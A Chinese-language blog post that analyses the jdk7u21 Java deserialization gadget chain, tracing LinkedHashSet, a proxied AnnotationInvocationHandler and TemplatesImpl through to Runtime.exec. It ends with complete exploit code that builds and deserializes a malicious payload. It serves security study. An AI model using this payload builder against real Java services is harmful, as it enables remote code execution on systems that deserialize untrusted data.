目录
触发invoke的核心:AnnotationInvocationHandler#equalsImpl
前言
jdk7u21这条原生链equals那部分和CC7挺像的(前者是新key调用,后者是旧key调用):【Web】Java反序列化之CC7链——Hashtable-CSDN博客
然后动态代理的部分又和CC1挺像的(前者是equals后者是default):
【Web】Java反序列化之再看CC1--LazyMap-CSDN博客
有相关的前置知识,跟起来还挺有意思
利用链
其实走到TemplatesImpl.getOutputProperties()这步大伙就都懂了
LinkedHashSet.readObject()
LinkedHashSet.add()
Proxy(Templates).equals()
AnnotationInvocationHandler.invoke()
AnnotationInvocationHandler.equalsImpl()
Method.invoke()
...
TemplatesImpl.getOutputProperties()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
ClassLoader.defineClass()
Class.newInstance()
...
MaliciousClass.<clinit>()
...
Runtime.exec()
简单分析
触发invoke的核心:AnnotationInvocationHandler#equalsImpl
private Boolean equalsImpl(Object o) {
if (o == this)
return true;
if (!type.isInstance(o))
return false;
for (Method memberMethod : getMemberMethods()) {
String member = memberMethod.getName();
Object ourValue = memberValues.get(member);
Object hisValue = null;
AnnotationInvocationHandler hisHandler = asOneOfUs(o);
if (hisHandler != null) {
hisValue = hisHandler.memberValues.get(member);
} else {
try {
hisValue = memberMethod.invoke(o);
} catch (InvocationTargetException e) {
return false;
} catch (IllegalAccessException e) {
throw new AssertionError(e);
}
}
if (!memberValueEquals(ourValue, hisValue))
return false;
}
return true;
}
hisValue = memberMethod.invoke(o)这里调用了invoke方法,memberMethod 来自于getMemberMethods(),再底层一点就是this.type.getDeclaredMethods()
private Method[] getMemberMethods() {
if (memberMethods == null) {
memberMethods = AccessController.doPrivileged(
new PrivilegedAction<Method[]>() {
public Method[] run() {
final Method[] mm = type.getDeclaredMethods();
AccessibleObject.setAccessible(mm, true);
return mm;
}
});
}
return memberMethods;
}
这里的type是通过构造函数传进的一个Annotation的子类
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
this.type = type;
this.memberValues = memberValues;
}
总结一下就是,在equalsImpl方法中,遍历了this.type中的所有方法并且执行,若这里的type是恶意TemplatesImpl类或相关的接口,他也会自动遍历方法,并且去执行,即是说他会自动执行我们的TemplatesImpl#getOutputProperties(),从而完成攻击链调用。
前提是,我们要对AnnotationInvocationHandler先进行精心的构造,所谓精心构造,就是给它传入Templates.class(虽不继承自Annotation,但反射不看泛型)作为第一个参数type,不为什么,就为图它的getOutputProperties()是TemplatesImpl调用链的一环。
public interface Templates {
/**
* Create a new transformation context for this Templates object.
*
* @return A valid non-null instance of a Transformer.
*
* @throws TransformerConfigurationException if a Transformer can not be created.
*/
Transformer newTransformer() throws TransformerConfigurationException;
/**
* Get the properties corresponding to the effective xsl:output element.
* The object returned will
* be a clone of the internal values. Accordingly, it can be mutated
* without mutating the Templates object, and then handed in to
* {@link javax.xml.transform.Transformer#setOutputProperties}.
*
* <p>The properties returned should contain properties set by the stylesheet,
* and these properties are "defaulted" by default properties specified by
* <a href="http://www.w3.org/TR/xslt#output">section 16 of the
* XSL Transformations (XSLT) W3C Recommendation</a>. The properties that
* were specifically set by the stylesheet should be in the base
* Properties list, while the XSLT default properties that were not
* specifically set should be in the "default" Properties list. Thus,
* getOutputProperties().getProperty(String key) will obtain any
* property in that was set by the stylesheet, <em>or</em> the default
* properties, while
* getOutputProperties().get(String key) will only retrieve properties
* that were explicitly set in the stylesheet.</p>
*
* <p>For XSLT,
* <a href="http://www.w3.org/TR/xslt#attribute-value-templates">Attribute
* Value Templates</a> attribute values will
* be returned unexpanded (since there is no context at this point). The
* namespace prefixes inside Attribute Value Templates will be unexpanded,
* so that they remain valid XPath values.</p>
*
* @return A Properties object, never null.
*/
Properties getOutputProperties();
}
巧用动态代理调用equalsImpl
sun.reflect.annotation.AnnotationInvocationHandler 这个类实际就是一个InvocationHandler,我们可以将这个对象用Proxy进行代理
我们再回看一下AnnotationInvocationHandler的invoke方法,发现当方法名等于“equals”,且仅有一个Object类型参数时,会调用到 equalImpl 方法。
public Object invoke(Object proxy, Method method, Object[] args) {
String member = method.getName();
Class<?>[] paramTypes = method.getParameterTypes();
// Handle Object and Annotation methods
if (member.equals("equals") && paramTypes.length == 1 &&
paramTypes[0] == Object.class)
return equalsImpl(args[0]);
assert paramTypes.length == 0;
if (member.equals("toString"))
return toStringImpl();
if (member.equals("hashCode"))
return hashCodeImpl();
if (member.equals("annotationType"))
return type;
// Handle annotation member accessors
Object result = memberValues.get(member);
if (result == null)
throw new IncompleteAnnotationException(type, member);
if (result instanceof ExceptionProxy)
throw ((ExceptionProxy) result).generateException();
if (result.getClass().isArray() && Array.getLength(result) != 0)
result = cloneArray(result);
return result;
}
于是乎,我们的问题就变成了什么类的什么方法,在反序列化时会对proxy调用equals方法呢?
反序列化的入口:HashSet
提到equals,我们很容易会想到HashMap&HashSet&Hashtable这些,而这条链采用的正是HashSet来做反序列化的入口,其实和CC7用Hashtable做反序列化入口很相像,底层都调用的是HashMap的操作
我们先来看HashSet#readObject
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in any hidden serialization magic
s.defaultReadObject();
// Read in HashMap capacity and load factor and create backing HashMap
int capacity = s.readInt();
float loadFactor = s.readFloat();
map = (((HashSet)this) instanceof LinkedHashSet ?
new LinkedHashMap<E,Object>(capacity, loadFactor) :
new HashMap<E,Object>(capacity, loadFactor));
// Read in size
int size = s.readInt();
// Read in all elements in the proper order.
for (int i=0; i<size; i++) {
E e = (E) s.readObject();
map.put(e, PRESENT);
}
}
发现其将对象保存在创建的HashMap的key处来做去重
我们再看下HashMap#put
public V put(K key, V value) {
if (key == null)
return putForNullKey(value);
int hash = hash(key);
int i = indexFor(hash, table.length);
for (Entry<K,V> e = table[i]; e != null; e = e.next) {
Object k;
if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
V oldValue = e.value;
e.value = value;
e.recordAccess(this);
return oldValue;
}
}
modCount++;
addEntry(hash, key, value, i);
return null;
}
我们看到了让人非常兴奋的key.equals(k),以及我们非常熟悉的hash相等构造
只要让key为精心构造的AnnotationInvocationHandler套的Proxy(上面已讲),k为恶意TemplatesImpl就大功告成,最终成功调用memberMethod.invoke(TemplatesImpl),也就是TemplatesImpl#getOutputProperties()
再往回退一步,怎么达成上面的key和k的条件呢,这就要求我们先往HashSet里放TemplatesImpl,再往HashSet里放Proxy
hash相等构造
接着上面,来看HashMap#put所调用的hash方法
final int hash(Object k) {
int h = 0;
if (useAltHashing) {
if (k instanceof String) {
return sun.misc.Hashing.stringHash32((String) k);
}
h = hashSeed;
}
h ^= k.hashCode();
// This function ensures that hashCodes that differ only by
// constant multiples at each bit position have a bounded
// number of collisions (approximately 8 at default load factor).
h ^= (h >>> 20) ^ (h >>> 12);
return h ^ (h >>> 7) ^ (h >>> 4);
}
不难看出,决定hash的关键在于k.hashCode(),所以proxy对象与TemplateImpl对象的“哈希”是否相等,仅取决于这两个对象的 hashCode() 是否相等。
TemplateImpl的 hashCode() 是一个Native方法,每次运行都会发生变化,我们是无法预测的。
作为动态代理,proxy.hashCode() 仍然会调用到 AnnotationInvocationHandler#invoke ,进而调用到AnnotationInvocationHandler#hashCodeImpl
private int hashCodeImpl() {
int result = 0;
for (Map.Entry<String, Object> e : memberValues.entrySet()) {
result += (127 * e.getKey().hashCode()) ^
memberValueHashCode(e.getValue());
}
return result;
}
意思是遍历 memberValues 这个Map中的每个key和value,计算每个 (127 * key.hashCode()) ^
value.hashCode() 并求和。
我们可以做对应的分析:
①当 memberValues 中只有一个key和一个value时,该哈希简化成 (127 * key.hashCode()) ^
value.hashCode()
②当 key.hashCode() 等于0时,任何数异或0的结果仍是他本身,所以该哈希简化成
value.hashCode() 。
③当 value 就是TemplateImpl对象时,这两个哈希就变成完全相等
所以我们找到一个hashCode是0的对象f5a5a608作为 memberValues 的key,将恶意TemplateImpl对象作为value,这个proxy计算的hashCode就与TemplateImpl对象本身的hashCode相等了。
为何还是用了LinkedHashSet
首先我们要知道LinkedHashSet是HashSet的继承类
public class LinkedHashSet<E>
extends HashSet<E>
implements Set<E>, Cloneable, java.io.Serializable
其次,我们可以把其理解为保持元素的插入顺序或访问顺序的HashSet
所以为什么HashSet改用了LinkedHashSet呢?
主要跟反序列化时在HashSet.readObject中调用map.put插入TemplatesImpl实例和Proxy实例前后顺序有关系,因为需要HashMap.put插入时的比较操作来触发命令执行,当插入Proxy实例需要TemplatesImpl实例已经存在才能调用proxy.equals(templatesimpl)
总结来说就是:在反序列化过程中,需要保证 HashSet 内的 entry 保持有序,这也是为什么用 LinkedHashSet
的原因
当然也不是说HashSet就不能用,如果你把下面exp的Linked删去,再运行个几次,会惊喜的发现,还是有几次会弹出计算器的,但LinkedHashSet毕竟胜在稳定。That's all.
EXP
配合的javassist的版本也得低下来
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.17.1-GA</version>
</dependency>
package com.jdk7u21;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.HashSet;
import java.util.LinkedHashSet;
import java.util.Map;
public class jdk7u21 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{
ClassPool.getDefault().get(evil.class.getName()).toBytecode()
});
setFieldValue(templates, "_name", "xxx");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
String zeroHashCodeStr = "f5a5a608";
// 实例化一个map,并添加Magic Number为key,也就是f5a5a608,value先随便设置一个值
HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo");
// 实例化AnnotationInvocationHandler类
Constructor handlerConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
handlerConstructor.setAccessible(true);
InvocationHandler tempHandler = (InvocationHandler) handlerConstructor.newInstance(Templates.class, map);
// 为tempHandler创造一层代理
Templates proxy = (Templates) Proxy.newProxyInstance(jdk7u21.class.getClassLoader(), new Class[]{Templates.class}, tempHandler);
// 实例化HashSet,并将两个对象放进去
HashSet set = new LinkedHashSet();
set.add(templates);
set.add(proxy);
// 将恶意templates设置到map中
map.put(zeroHashCodeStr, templates);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(set);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}